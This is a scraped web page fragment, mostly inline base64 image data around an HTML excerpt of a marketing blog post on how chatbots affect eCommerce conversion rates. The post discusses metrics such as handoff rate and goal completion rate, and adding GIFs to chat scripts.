rhxCR4bwxTcJUlujUNoMy6FrdUVlTjjji1FS1rWolSlKJJJJvDiXXAlYJSSlxKAbctu\/FZYR0a4koeMJeszMphmXprGfVtSMiG32yQ5Y662ZZIWEkbBZIIAtY2Wre7783+zGxPDHA4NjcHC3D7lSZXzOMkl7nffUnrWXK91VPYf5wZXuqp7D\/OI5iWi4nnZ16coM+hhwyWplVuTrzaJd+zv3QspBbeuVt7FjZkvY7oZZLC+lNlBEzjtta3EO6xYbQSHDKMtoUkFqwAeQ65YAAle0HysUWUKe5Xuqp7D\/ADgyvdVT2H+cV1iSiaWZGmzruHMRvTr6+ahLS7fM6VoKspl1Z3UW4pzlYN7iwA6YsdGYJAUbqtt68EWinCRxWvEOlarZ5pCpak5aayRsCQ2OOPpFOQv4L1Swo3jhLk7hueq9SWoIkpxlCXJeTB2KUQbAK\/vZibbABtvszJ8H3RFLVeZr0xg6Un5+afXMOPTt3+OpRJslRKRtPSESLE9Zw\/o3whUMQLlJeVk6awVpaZbCAte5CAAN6lED5Y4EWE+D1Dq6WTXU7hYdt+HsX0ms21OJ4XFs9R0vm2awXc67iLAaNy7zrYlwutfOF1pEcdmpTRtT5jMhnLOVEITvWR9yb5dgOYj+8jki2NAOjlzR9gGWamUIRU6padnbo2pUocVB2\/ipsOveNedBmFZ\/S9pYmMWYjSX5aSfNTnVHyq3lKJbbHuXF7cibRunu2CMsKaamR+ISD0tG9TR3\/wB71VtlNHhFLBszTG4iGaQj7Ujh\/lB09oHBeMr3VU9h\/nHxta9ctpZBypSoEC28nvRljCjzW772j61R3V88SWteZ2vfk\/rhDC6teZ2vfk\/rhDEIiOEfCN9ELpQ\/LOt\/pz0d3I4R8I30QulD8s63+nPQRMmGvO7S\/gTH2BEvfwTieTkpydqNKdkRJNJecamvuLxbUtKApLarLUm6hdQFhyxEMNed2l\/AmPsCJtWNIWJ641MsT86HETcrLyboUnOcjWSxSpd1IKigKVlICjckR0RuC1Vgl8DYqnJSUnJKkqmRPBamGWXW3JhSUpKsxYSoupSQFFJKQFZTlvYwkew1iKXpy6vMUKfakUJaWqYcl1pbCXSoNqzEWsooVY7jlMKm8YVVlEtq25RL8q2hlMyGBrlNoCghCldMAKtykBIN8qbK65pFxJiGjc4aiuWMnrEPZG2QmziUhIWLbja4IGzaTa5vE6povFW0c40or7kvOUJxxbSVLXzI63NBKU5goksqULJKFhW3iqSoGxBEJPGZi8ttuDC1WKXl6tv\/AEJzjqyaywFtvE43W27okbmmrHT1VRWnpuXcmm1BaFuNFZSsOl0EKUSry5Oy9spy2y8WErelrGLKA21MsoGr1SlIQUuLBWHCVOA6xRK0oVmKrjIlIIQMsR5yaKJzclOyC0NT0o9LrcbS6hLrZQVIULpUAd4INwdxEYYU1CoTVUmjOTiwt1SEIJtbYhISn\/BIhNGShEEEEEWGb8zr60dVPEwPQtSnx5Pfu45VzfmdfWjqp4mB6FqU+PJ793FE\/oq2PetsnmW32lMvICkLFlA9MQk5zSnVp7t9\/wAOFM04pqXccR5ZKSRDZzwm+q\/miNEwMl1c0H2hXh7m6ApVzmlOrT3b7\/hwc5pTq092+\/4cJeeE31X80Qc8Jvqv5ojHwOLoDsCnln85SrnNKdWnu33\/AA4Oc0p1ae7ff8OEvPCb6r+aIOeE31X80Q8Di6A7AnLP5ylXOaU6tPdvv+HBzmlOrT3b7\/hwl54TfVfzRBzwm+q\/miHgcXQHYE5Z\/OUq5zSnVp7t9\/w4Oc0p1ae7ff8ADhLzwm+q\/miDnhN9V\/NEPA4ugOwJyz+cpVzmlOrT3b7\/AIcHOaU6tPdvv+HCXnhN9V\/NEHPCb6r+aIeBxdAdgTln85SrnNKdWnu33\/DhFipluXwbWmWk2SmnTW8km5bUSSTtJv04988Jvqv5ojFiV1T2Cay4s8Y02av9GqMhAyLVrQPYFBkc7QlayeJ7ed\/GfwyT+w5G0U\/5qX8n1RqTwHcSUrCGj7SHietv6qRprstMPK2XIDbnFTfeomwA6ZIEQ3FnCa0yaQK6+jCb8xS5ZRK2JGmS4cdS2kb1LylajbabWT7gjQr8Thw+wfck7gN69bsvsXiO1ed9KWsjZ6T3mwB5hYEk215hxIuFvPTPwgv3n9qPtSr1Mpk5zJNTTjbimdcQlGbZew2WJueMdnSSomwEalaBeFRiNWL5PDekqaanZWpqTKM1AtoaclnCbIz5QEqSTYEkAi97mNwJqWbmiptyQlZhGy+u6ZsellPSJ+cxbQ10VfHykXDeDvC0tpNmK\/ZWqFLXgai4c03a4dRsDpxBAPuISI4ipQWUc3PFQWW7Bk+WA2DyvT225elCJWM8NoStLs4+lV3HF5mFAoDRstRFtgGUbN+0bIdjT2je9IkDmzX3bc3lvxOn0+WPIpkuFZhRade1r2F7XvbynLtjdXnkkaxPSnnHUNTM0QykKWrmdQAJKQEi6bqPHTuB3xjGMsPKRrE1V0pyoWTzOrYlZASTxdguQOvC\/nZL5Ft85qeEuJSlYGwKSm1geJtAsNnuRjcokk6424uiSGZpaXE2VbjAWBNk7bdK+6CLxMYgp0qy1MvTUwGnW3HQoMk2CCAq4Av077twJjCrFlIDoaTNTSrkgkS53hIVa2W5uCLWBvfZC9Ug2ttDK6TIqbbTlQgnipFwbAZLAXSD8gjyKZLhOUUan2sodLcqwV+J07C\/LaCJGMV0ZSCtE++bBB+8EXz3y2ukdMW9w77RrTwrdJPPqpSmjujPuONSLmungki65i5Shuw9KLn3c46YjYXHuIKbgXCNQxTUaTIKbpzIU03cXU55VtCeJ01KA9wExq3wf8H1LSfpNmMZ11tM0xTnzUZtbnFS9NLUVITsBGxV1W6WUcscTFnuncygjOr9\/U0b+1fQNiqeLDo59pKsXZALMB+1Kdw919ea4PBbG6DdHPQ7wDJ09+6KjOgTk+QBcOqA4l7fiiyfkMWDq19XX8w70eM856nZ+mPgwZ5zqDP0x8GOxHG2JgYwWA0XhamokrJn1Exu5xJJ5ydSverX1dfzDvQIaCFqcKipSgASbbhfvmPGec6gz9MfBj4p6ZbyqcYaCSpKSUuknaQPS+7GapSeteZ2vfk\/rhDC6teZ2vfk\/rhDEIiOEfCN9ELpQ\/LOt\/pz0d3I4R8I30QulD8s63+nPQRMmGvO7S\/gTH2BDlY2vaG3DXndpfwJj7Aiyq\/jGhyuEkYGwhKL5meLL1Qn32UJemXU3JSLC+rCiCm5zC1t0dEbgtVQeCJqcT4MFHk5VdATMzLLLSVJXItspS4lp1KlF1tYcdzLW2vjWA1Y2EbIcsWYh0VOYkkZ\/C2HnG5NLpfmAthSiM7SNikuOqQ6pt0rOXKhJtlJUkghdLKuIIsyUxVoeapd6vhCarFZE0lwzJlhJS7jAYWjVlmXfSE8fVqumxOUknaQcUnX9DoyzNRwfMEKmSrmeWLoKEJZaAupb5BSXA6ctr8YHNYBBXSyriCLYTXNB3M1bqHjZcXxHEUiTmNfrwsNspaLikPBGQEOlQ2qO3jeVTERxlVcB1GTkk4Qw9MUyZbmZxc0pxaihbK3AWEDM4s3Qm6Sdl9m\/fAFLKKwQQRkoWGb8zr60dVPEwPQtSnx5Pfu45VzfmdfWjqp4mB6FqU+PJ793FE\/oq2Petrp7zI7\/umGaHuaSFy60ncRYxh51ynIvszGs1wCtIuqqrWi6eqdRrFSkMWu0p6qOZ0PSUuW30AiXBStwOArH+jbLZbaxW\/pppXRPXabVRUKVpGqMuyH3JkyhbWplxxyfXNLUsB0ZrpUGju4qTykRb3OuU5F9mYOdcpyL7MxlygUZVWVJ0au0ymz8k7iBc65PoZzrmWVLQpxEy6+StBcspK9aEqSCCoA3O3ZjY0a1OXZabYxnOMFMwl1SZcOMtJQFBRQ20h0IT+MOMFAhZzBRAItHnXKci+zMHOuU5F9mYcoEyqrMO4DxhTMXc\/avjt+oSSJZhCZYF9CVuJS+ld2y6pASdY0q5ClFTY2pA2yiSo8\/K1ubqz2IJyZZmxlEk4lGpYtbJq7C42BWa5OYqvssAJXzrlORfZmDnXKci+zMOUCWTVBDrzrlORfZmDnXKci+zMM4SyaoIdedcpyL7Mwc65TkX2ZhnCWTVBiHzjVj4um\/sLh151ynIvszDbidCW8GVttN7Jp82Bf\/cXGLnAqQLLQXRNKTs5wbdKDckhay3UKU66lI\/2aVlSj1ha\/yQz6J52iSE5Un65i5FGbDLRbZUqYbE6tLqVhtbsu044hsFOZQTlKrJAI8sLv4A1Pk6rhHHdMqMuh+VmpiVZeaWLpWhTbgIPyGEeP+BXV264+9gHEclzvcVmRK1ALC2b7coWkHMB0ri\/XjzmLYbNUTNqYLEgWsff3r6xsFtlh+E4fNg+KFzI3uzB7Rcg+aCCLHoixAJGu42K17n3J3EGNZl6XdZm5uo1Ra0LlEKS26446SFNpUAoJJNwCAQCLgR0\/mOeiKPMmnJaXUUyp1AeJyF\/JxQq3SzWv7ka8aCOCvK4HxM1ibGdUl6tUZNGtlGGGylhhy9s5zbVKHS3AckbKKS8FlTakAH0ySf1xfg2HSUDHOlPnO+lv\/a535RNrqXaeogioGnkoQQCRYkm19OA80W9+ip9Nb00SNEl5GiUmuVKYflZxb87iCUkkzTD6ZHO0lKJVaGlDmkBFimxKyUqKAFQoo+KtP1RxOqRq2BKZIURt+aPNTZJeWhE9LtsJ2u2GeWW88VWPlMtkKuIte0z6drsT34LTPp2uxPfjsr5yqqltIGlaWx7hTCFZwiwZerKUalOS8kvVMNCWnHCvPrlBrK61Jt2UFBRfO0EgBvw7VuEPJiacqVJRPnnWJh9E4yyA3VQh8uy8pqlt5pXMJbVKcKlkFQUu5JTctpn07XYnvwWmfTtdie\/BFVmF8RadpjEEtS6zhWntUhbrqnai+3Z4NawKR9yS7lTdBWgC6lJyJKr322xGK0yNpca7E9+IzpHxqjR7g2o4pm1sKVKt2l2lAjXPq2IRv6Z38gBPSjCR7YmF7zYDVXU1PLVzMp4RdziABzk6Ba68LPSAuvYjk9HNHWp1mlrS7NJQLlybWLIQOXKlXS6ayOlF96F9H7ejnAUhRXG0ifeTzVPqH4z6wLi\/IkWSOtGt3BvwVP6RNIs1jquKL7FKeM4646MwfnFklIPWuVn\/AIY3GtM+na7E9+OPhMbp3Pr5Rq\/d1NG7tXu9tamLDo4Nm6Q3ZALvPSkOpPuvpzXI4LLBGK0z6drsT34LTPp2uxPfjtr58ssYZv70n31v7Yj7aZ9O12J78eVtPuAJW43YKSo2Sb7CDy+5BEmrXmdr35P64QwurXmdr35P64QwREcI+Eb6IXSh+Wdb\/Tno7uRwj4RvohdKH5Z1v9OegiZMNed2l\/AmPsCHKG3DXndpfwJj7AixMQ4fwdIYFpFbpVdM1VaitIelS2UljIk60E5iPLFFtm0bunHRG4LVUNgiaSGFcKTqKU0\/WlSaZppLkzPc3SrgCihRLYllKbUgpUAkqW5YgXHlkAufQ3wIKbzWdK8kXyCyGhLN25oErr7312YMZiGtZlzZ8wyXFjNwllXEEWJUdH+A6dOustaSE1GXQ+4yh2VYYSSEspUFELmBsU4vKm1wQhRJTuhWzoy0evqmHHdK0pKtsu6tKdUw6VhU2GEFB5oBUEoOtWVBFki6QsXUIzBLFVhBD5iqhUmhO05FIxC1Vkzcg1NPqbSlPM7yioKZOVarlOUbTYm42WsSxxKhEEEESiwzfmdfWjqp4mB6FqU+PJ793HKub8zr60dVPEwPQtSnx5Pfu4on9FWx71tjMfeVfJ9cZIxzH3lXyfXGSNNXIhnp2KaZUqoqjth9qa5n5rbS6iwdZzZc6CCQQCRcbCMwuNsPERagYBkaDiF7ETM68686wuXKVE5cqi2bkEkAgNJHFCRvuDF0YjLXZzrw9qxN7iyfOfFLBdC51tsMuapanDkTn28UKVYE7Duj49XKQwptC6gyVOOtspCFZ+O55QG17ZukTvhKcLUlTrrrjZXrpgTRBCdjlyb3Aud\/TJ9y0IJfR1hyWmWJpCZkrlly62sztwnU3yDdtAudnuxkGwcSVF3J4Neo4eclueDJeaSVLbSbrABUknKNu9Cx\/wAJj03WaS66phupSynEOlgp1ovrAASkcpFxsHLCJ\/CFEmKg9VFsLEw+VlxSXCL5mg0Rbkyi4HKSd5MNdS0cUqoBLHNDiJZa0qmEFN1uISWilCVAjKPuKQTYkjp32xLWwE6uI9yEu5lJZao0+dWpuTnpd9SEJcUGnEqISq+Umx3HKbH3DCmG6k0KRooIkklOZCW1bEgGylqvZIAvdxV4cYoflDvN3LIXtqmep4uw9R6mxSKhUUtTT6c4QEKUEJ22U4oAhsEggFRAJBtexh4iJ1nAiqrilWJmqohlTkgmnraXLlfEu4VFJC0gEhy20G1vkiWRW0uubranbA1jORJJt53UerTvRDVX5R+fwzVpGVRnemJSZabTcDMpSVAC52DaYdYxJ+8r66\/rMZLWWvHA10WY60X0bE8rjiiinOz8zLOS6RMtPZ0pQsKP3NSrbSN8XtP+al\/J9UKKX5VzriE8\/wCal\/J9UEXymfhBfvP7UM+MtJWGMGz8vS6kJiZnplvWiXl8gKG7kBa1OLQhAJBAuoFRBsDYw8Uz8IL95\/aiq9M+h3EOMMUS2LcKmXfmUMMy78vMTPM4TqlOKQtKsi7\/AH1QKSkbgQd4iuUva27BqunhENJUVIZWOytserXhc8ArTwxiKiYvo7Vbojy3JdxSm1JcQptxpxJyrbWhW1KkkEEGHCaclZKWdnJlRQ0whTi1bTZIFzER0VYJmsAYaeps4S9OVCefqc1q1AttuukEoQTYlKQALkC9ibC9hL3VMvMrQ+xnTmCVNqANzst7nTEZMzFoLt61axkMdQ9tObsBNj1JGit0JeQCoM3XlypK9pzJzDZ\/u7etHwV7Dyn+Zk1aVU7sGRLwKjc2Gy\/TJ2R7FLpicoTRWgEqCgA2gWI3Hf0oGaTS5dSVsUNltSAAkoabFgDcdPpHaIyWskGPGScD4gDJUlznXNZSFEEHVKjSTSFpjxHpGw7QMPVUlPOps80rC9k2\/fKh1QO4hGzrqWdl43lxIlczh6qS3Mzh1sm8j8XpoI5Y0e0ZaCMdaTH0TLMm7SaHms5UphuxWBvDLarFZ38Y2T1489jcFVUPZFT7nAh3NYEHUr6f+T\/EsHwunqKzEyA+ItMel3Xc14OUcevgNCSNCtrdBNJwdQMDymH8OV2mVObZQH6k5JTKHbvr2nMUk7vKi\/SSIsfVI5D85iH6N9GWF9F1I514bp0wVu8aYmn3At59XKok7OsLARL9av1O586e\/HdhYWRhptoOG5fOq6ZlRUvmYSQ4k3dbMb6km2lzv7191SOQ\/OYNUjkPzmPmtX6nc+dPfg1q\/U7nzp78WLVX3VI5D85gDaAbgH5zHzWr9TufOnvwIdC1KQUKSpIBINtxvbd1jBEjrXmdr35P64QwurXmdr35P64QwREcI+Eb6IXSh+Wdb\/Tno7uRwj4RvohdKH5Z1v8ATnoImTDXndpfwJj7Ahyjzo\/pCq3SaZJpm2JcinNrC3lpSkq1aQlNyQLqUUj5b9KJaxgZtwJ1ldYbzvJbSopGUIUpYC1HNsBCNmw3Kk9eOiDotVRSCJT4yGShK01+WSSpAKXE5CUq1fGTdXGALgGzkPSBIwM4TaenJOVNVDIm2ph0reZyBrVpWQhXGIzHJa19mYb4m6WUdgiUt4JZW4lo4ikkhbikh021IQEZ0qUu+y4txbZhtuNloxMYSlXJrUO1tthOtbbs42A4M5aFynNYAa3bxtyT8i6WUbghwqlMbkGpV5mb16JpvOLoyFOwG1rk9O191wQL2MN8SoRBBBBEZUrUhCwClS0gg9MZhHV\/xOFhmW4OYYl20ttors6EpG4cVqOUKPvrXviPtCOsPidHoeD8fTv2Woqn\/RqyP0ls7MfeVfJ9cZIxzH3lXyfXGSNFXoghHWKpL0SlTdXmkrUzJsrfWEC6iEi9h7sVl5IjD3rDUeyR345OI47h2EvaytlDCdRe+73BblNh9TWAugYSAp\/UMNc8JxybNaqbCXBbVMzK0IBy5bgA7D\/h07X2x4lsMLlnGnU16pKU0haCVPFRcBSUjNe4JBNwbbCB7t4M3wg6E8rI1h2prVvsnIT9cePJEYe9Yaj2SO\/HO8s8C3+Ejsd3LZ8SYh6o\/TvU8lsKoly6XKrPTSXFMqCJh5TiEFvN5UE3F7i+3blF7wjdwIl6SVIOYkrK215s5XNFalXtcbb7Ng2fNbbeH+SIw96w1Hskd+DyRGHvWGo9kjvw8tMB\/aR2HuTxHiHqj9O9Typ4WVUn3nTXKiyh5BQplt0hFiBtt0jsG62zrmMjmG23Xp9a6jNlqfYcYUzrDkRn3qSNwVt39b5a\/wDJEYe9Yaj2SO\/B5IjD3rDUeyR34jyzwH9pHYe5PEeIeqP071YNGw+uihaGavNvtKDaQ2+QoICBbi2sBcb7Q8RU3kiMPesNR7JHfixsN16TxPRJSuyCHEMTaSpKXBZSSFFJB6xBjoYdj+G4tIYqKYPcBcgX3br6jrWvU4dVUbQ+dhAOic4xJ+8r66\/rMZYxJ+8r66\/rMdhaSTUvyrnXEJ5\/zUv5PqhRS\/KudcQnn\/NS\/k+qCL5TPwgv3n9qFdQmHZORnpthAW4wytxCSCQpQSSBs90Qkpn4QX7z+1DipwtulIaUsrFxlKdw37yPc+eJBsblFXWF9KU3XsVy2HP9FcSvOVvtJRq3Moc2IIdKr2ShVyi1ioX2Amwlb3ffm\/2Y961z1I786O\/GMEuIcWkeWdBCcwvxbXG+1+KYunkZI4FjcoWLQQNTdRnFGMa7Qq\/L0mRwtM1CXmhJ5JllClJbK31JfDlt1mhmTyq2GwIMJZbSc85Is1KawhVJdh0cY5StSDrclyEjdbjX3jk6cTTmhWbJzO5mIvbMi9uXy0fdc56ld+dPfinRSvEjM830+XnFy62eaWUOlpwcZGZIOVQ5RexjMhCG0BttCUpSLBKRYARjMwoKCTLOXNyBmRc\/nR8MyUkJVLuAq2AFSNv50QpWeCMJfWkFSpZwAbSSUeFAH1qF0yzhHuFHhQRZoIxa5z1K786e\/BrnPUrvzp78EWWMKPNbvvaPrVH3XOepXfnT34+NBZeceU2UBSUpAJF9hPJ14lElrXmdr35P64QwurXmdr35P64QxCIjhHwjfRC6UPyzrf6c9HdyOEfCN9ELpQ\/LOt\/pz0ETJhrzu0v4Ex9gQ5Q24a87tL+BMfYES+dozEvR1vtoGul3Gw8pa7KupAJTbdsUSLeW4qjtAOXpDctVMUETuS0XztWkaMqlMVN16rIStuZ5kK5R1WVxS2mii6lrbCAFAA7c9wkIBWsl9CdZmpPWydXkp2YcdaYZZlMzmZSky6lEqNhlAmmQFC4Uo2HSJjMEsVXEEWJK6FcQPVJVJdmgl9S3WmFtyrzrLrjc81KrAWlJzBJdzHIFEWAIBMQmu0acw9WZ2hVBITMyD65d4A3stJsR84iQQUskMEEESoRBBBBF9R99a98R9oR1h8TpIHB4Nz\/79O\/Zajk8j76174j7Qjq74naoDg9WPr7O\/Zaiqf8ARqyP0ltBMEapW0dL64yXHKISvLGqVHvOOQxoq9MukIjxjV7aPwe99kxqdccsbgVeny1apc3SJsrDM4ythZQbKAULEj3dsVr5H3DHr3VP+X4MfM9udmMQx2qilo2ghrbG5A1vfivU4BitNh8T2Tkgk33dSh+jSqykrQ6jJSVdkaPWHJllwTE0AnWS4KboSsqGWxuSL7Rs90NOMqjh+fxZUZqRdk3ULDQU+WlpZedCQHVoSk3GY3I28pvcgxY3kfcMevdU\/wCX4MHkfcMevdU\/5fgxwZNltoZKGOhMDLM45v4uF7A+cbkb7DrvvtxbDmzunzuu7q9nG1+H3qo5ROFltt81OPNrB4+1RvZHIE7ir3bj\/GPFSGG9Q4aatzWDKlAVm22tdRuN54xI2fi26Yi3\/I+4Y9e6p\/y\/Bg8j7hj17qn\/AC\/BjQOw+OlmTkI\/bcX+9bAx6gDs3KO7CqrZ8aM9MKQ6Fyw1qG28qikLSXNqiTcJ4pA28l4RVhiiyzSW5B7PMBSdZZeZA4vGCTaxF7bd+\/rxcPkfcMevdU\/5fgweR9wx691T\/l+DEybD45JHlMDAecEd6Nx6ga6\/KOtzWKom45Y2g0PEdDij7R5V7\/vLiK+R9wx691T\/AJfgxYmHaLJYZosrQpBTqmJRJSlThBUoklRJ65JMem2H2VxLA699RWNAaWFosQdS5p4excrHsXpq+nbHCSSHX3dR708XHKIxJI1K9o3r+sx5zjkMY0ODVL66\/rMfUl5ReaYQEuXPTEJ57zUv5Pqj3T3BlX1xGCccHNCtvJ9UEXqmECoLuf8AY\/tR5q+HpGrTRmX56cZc1Oo+4u2ARcki1jvOUnlyJ6Ueaesc8V+8j7UKKnU2qTTp6qPNrW3JsLmFJTbMoIQVEC\/T2QRJThqRK1r54zpzuLcIKwRdW8eV3e5uOwG4AATPYKpsw6XXavUycjiUgOpARnJOZNk7FDMoJO8A7Ir5vhSaPE1Q0eoS9RkJoNUslt5CFKS\/PKcQGVBtSiC04hLbigCEqcG0gKIeKVp3wvX8LzmJKFIVGb5iflpYsczrSXVvTq5IFvi5lpD7TybhOYhskJsU3IpczhWRlkOJl6lOZnEIbzOqCylIKSQCRfbk3EkC52W2QncwawSNTXagAS1nzrubII8qQBlUQLFW+3y3ZZrTZg2nLmWqkmoMrkgFzJEotSW2gXUuu3tfVtrYeSokAgo2JN03Ry2nvB8zQjikS1Qbo\/PSVpwm3WcgDT8q3Mom1JVYoZ1bqVKUdqU3KgLKAKFMncNyTkrLyaZ+aQ3LsuMhWbM4QtSTfMQd2XZs2bLWsIxpwpIZ0vOVKcLoCgVApF7pSCPK7uLe3TJN7xCafwisDz8sHeduIG3tSXTLmmOKWkgj7mq2xLmVSF5VEGyuVKwl2RpnwfO4fnMRURcxUGJJ1ltaENFC1lyfdkgEZhtJeYdABsDZJJSDcEUhVhSnKShJqM\/xC2SdYOMUAgX4vTCiD7kPEohqVaLSXCq61ruR6ZRV+uK56PuCAglcnXUrC2GigU5a+O6DxQpN0kpUlSVWOwjphSSXrA+lTCekJ+YlsPOTmtlpOTn1ImpZTClMTTZW0tKVWJHFUkm1syVC5KTYpUy1rfpv8INa36b\/AAjFnHIYM45DBFl1rfpv8INc0N6wLm22MWcchjFNODVJ98b+2IIvFZIMu1Y\/7ZP64Qwoq7g1DXvyf1wnEERHCPhG+iF0oflnW\/056O7kcI+Eb6IXSh+Wdb\/TnoIoLQsd4UlaJT5Z+q5XGpVpC06hw2UEAEbEw4r0kYUcAS5XFqA3Asun9mCCNgTOsqcgXnoiYQ9eP+nd8GDoh4P9eP8Ap3fBggieXcmQI6IeEPXj\/p3fBj50Q8H+vH\/Tu+DBBDl3JkCOiHg\/13\/6d3wYOiHg\/wBd\/wDp3fBgghy7kyBHRDwf67\/9O74MHRDwf67\/APTu+DBBDl3JkC+p0h4PDjZNY2BaSf8AR3dwI\/ux0N4FvDQ4N+jXQx428ZaRud9Q57TUxqedE+7xFBGU5m2FJ6R2XvBBGD5S9tismtAN1ez3ih3BFU2QNLRvs\/8AYan\/AC0e\/wC0Q4InttHuDU\/5aCCKVYj+0Q4InttHuDU\/5aD+0Q4InttHuDU\/5aCCCI\/tEOCJ7bR7g1P+Wg\/tEOCJ7bR7g1P+WgggiP7RDgie20e4NT\/loP7RDgie20e4NT\/loIIIj+0Q4InttHuDU\/5aD+0Q4InttHuDU\/5aCCCI\/tEOCJ7bR7g1P+Wg\/tEOCJ7bR7g1P+WgggiP7RDgie20e4NT\/loxp8UO4IoaUnosm5Kv\/Yan0yf\/ALaCCCLDI+KF8EhoLC9LR2kW\/wBQ1P8AloxTXig\/BKcfUtGlo2Nv\/YanyfBoIIIvMj4oNwSmp1bq9LJylrLfnDU99\/g8LVeKF8EF0OtPaVgttwZVJVQKmQoEWII5m2iCCCJsd4cHAYfdQ+9jKkuOtuB1K1YTnypKwpSwoEyuw5lrVflWo7yYVS3D04FUk1qJPSFJMN5kqyNYZqCU5g4XAbCV3hxSlj+8onebwQQRYXuHTwIJiYXNv45prj7j7c0txeFp8rU8gWQ4SZW5WkEgK3i+yPTHDs4EUtKuyMtjyntSz61uusowvUEoWtScqlKSJWxJSSCTvBtBBBF98ndwJOa1T\/j9p\/NK05FPeNeoawpuTYq5lva5JtykwSvDt4EkiHkyWPafLiYcS68GsL1BGsWlWZKlWldpCtoJ2g7YIIIvDHDo4D0qVKlccUxkr1eYt4Vn03yJyovaV\/FAAHIBYRlp\/Dz4FNJddfpWkKSknH0oQ6uXwzUG1OJQLICimVFwkbBfcN0EEES7+0Q4InttHuDU\/wCWg\/tEOCJ7bR7g1P8AloIIIj+0Q4InttHuDU\/5aMUx4obwRltgJ0sknOg\/gGp7goH1NBBBFgqfihPBIfZbS1pYJIdSo\/6hqe7b\/wDbRkR4oLwQ8ib6XNthf\/UFT\/loIIIvv9oLwQ\/bc\/8A8Cqfy0chtOGkfBmJdNOP8R0Ssc006q4oqs9Jvczuo1rDs24tCsqkhSbpUDYgEX2gQQQRf\/\/Z' alt='chatbot conversion rate' class='aligncenter' style='margin-left:auto;margin-right:auto' width='401px' \/><\/figure>\n<p><\/a><\/p>\n<p><p>We tend to look at chatbots as an instrument for customer support improvement and let customer support specialists solve more complicated issues. However, chatbots may be the answer to the \u2018how to increase eCommerce conversion rate\u2019 question. Yet adding a chatbot to a website or mobile app does not ensure that conversion rates will go up.<\/p>\n<\/p>\n<p><h2>Prevalence of chatbots<\/h2>\n<\/p>\n<p><p>Using bots for lead qualification makes them one of the best sales tools. Chatbot handoff is the percentage of customers that the chatbot couldn\u2019t help and had to redirect to human agents. This can mean creating a new inquiry in a customer service ticketing system or handing the chat directly to a support agent. A high chatbot handoff rate suggests that your chatbot receives lots of questions it cannot reply to. Let\u2019s assume we have 1000 visitors and a chatbot that launches after a 60-second delay. If the chatbot pop-up appeared for half of them, because they spent more than a minute on the site, that means 500 bot conversations were triggered.<\/p>\n<\/p>\n<p><img decoding=\"async\" class='aligncenter' style='margin-left:auto;margin-right:auto' src=\"https:\/\/www.metadialog.com\/wp-content\/uploads\/feed_images\/how-to-use-ai-in-customer-service-3-use-cases-img-4.webp\" width=\"308px\" alt=\"chatbot conversion rate\" \/><\/p>\n<p><p>For instance, is your chatbot supporting customers through the checkout process? The goal completion rate provides insight into how often your chatbot is meeting this target. This metric tells you how many people are interacting with your chatbot.<\/p>\n<\/p>\n<p><h2>Get Started With ChatBot!<\/h2>\n<\/p>\n<p><p>Did you know that visuals like Gifs and images have a profound impact on the reader and that you can make it a part of your conversations? Visuals are processed 60,000 times faster than text and so including images and Gifs in your script can do wonders to it. Make conversations more engaging with the help of load media Block of hybrid chat that helps you add graphics and Gifs to the conversation. You can also use Conversation design courses that are available online to create a compelling script. If you would like to implement our pre-built scripts then simply check our templates for  various industries.<\/p>\n<\/p>\n<p><img decoding=\"async\" class='aligncenter' style='margin-left:auto;margin-right:auto' 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ZcakyU1zfRyXEcsQngCwFJBFzilWJ2QM8IUsA24\/dL+CPxEa78QOjetHib6kaBv20FdR39ncaVxPo+RzE0To0K3knkRAIpjVv+s2HNFChyw7rpXqcSuDqSJiJjWNef3qOzC5mxvh31rpnxn698UV1l8I2mtQaOTA2lnHLKb9LlRZjk6GMRhN7Z+4kJ7r29u0T1R6W6vueouK60dEtZW2C1bb45MXkIMpAXtLqELx5bqrnfbiOJTY8VYFSO\/V9fnFT\/VH6Kxt7TbiDWtrfyxEaERsQRzVvdWdK8p9nUnQyCDBBGxBHNce6+6K9Tetv\/w\/x3VvqNgbuwwVzc3eeeyWe2mmMsg2jt0WDhskaKqyMQxLvuO3rXOl\/DRm+lfU7K6l6J9S7DF4bMadmxzSZe5e4vIb5gWil4GLy3RZEhPrNuFMg2PsPV7YjFOSz4y0Yn2kwqf\/AGrzbBYVjucXa\/miArHnCLYv7UznkHNJnQRvvsrE4FZmp2zgS+Qc0nNoI3323XMPTjw5dS77rCnWfqzrfRd1lrCxuLWCPTlt5YvJJYZYjJct5ce5Cy+3ZidlG4Cje30v4QdY4jwt6n6M3mQ0tNqbM5MXlpkEeVreOISWzcWkMIkB2hfsFI9YfSduopNNYKTs2NiHbb1d1\/8ASvL4pYAd0smUj2ETPuP+NQMHtQCIJnNJJknNAP36BG4DZtBEEyHSSSSc4AcT3wAtF6z6Z+IWHpfgNIdCtfaYwWr9MWOKx9++Ys\/ScbkbZLQxTQEmJ3VS\/CRWCAnhxOwY1AeDXwf6q8O+O6h57W2o9O3ep+o8yS3djp2yNriccIjceWkA4oeJ9IJ2EaBNgoBA5Hp7HYm1xfm+jGQmYgsXfke3s7mr2s1Srvo0P2ZkBunLUxtqsqyk2m0NHIQuOuing26ldNvBJrrw1ZvUGmbjUup0yy2l5a3Fw1jGbqBI4\/MdoVkGxU77Rnt7N6xXp\/4DurXRHL9IOo\/RvO6Lx+stLYuTCa8tZbm4t8bqKzaYyeq8dsztKQxBeRPbHA233PZu76VcfWNeXTHpEk6byIU5AuCZ\/AJ1cl6X+JDRK6o0gL3rFqe1zeEkN1deVbQR5F7lluT5G6vwYABA45fPt3ro3ph4dcZ0k6Iro\/pzi9LaP1\/PpOHEXepsTiIWL5RLQRi7fkitcKs+8oEg9bvuBua3TSqKt7WqjK46TP5AfIKQwBcQdL\/Bb19zPiN094iPEtr7QV1lNJqWtV0hizDNlZTG8Ya8mMMPyAV27PuAVHAe3t+lK87i4fckF\/IQIEABSGhuyVD6qwd3qLDT4uyzE2MllVlFzEnJk3Rl3Hcdxy3BBBBAIIOxExSvBSsHtdD6rjvck91r29nt7uCNLcbODbyLEkYZV5e3dHdjvszS\/JXhu9pP091dkVyFnda5vbSBbqKXGz288jyhFsvIZZQ522MhLFeTctuW6u3Jdh0qrMZlRAWDjQGowcjKOoOQ86+eB0JEhS3KPM7hFMvZXM22wIIVEXchRtbr021MMmt7J1PzL23KLlZkNwKruzDfnyBaUI2++wRTGBxZq2BSoBI1CEAiCsV01o3J4Oe3uL7VuQyRiRlaOZn8t2Lytz2Z2Ib7rt7T2VR\/VTjlVKUJlAISlKVClaf64+HDB9bsni8tkNRXuLnxsD2\/3GJZFkRm5DsSNiDy\/wAd\/wC6tP3fgm0DYXdxZ3vU\/IwtawC5lZrSHZYzy3JHPcAce5IA7jYnvt2BX5sD7RV+zF8RoUhStquUDuB6\/fvrurF+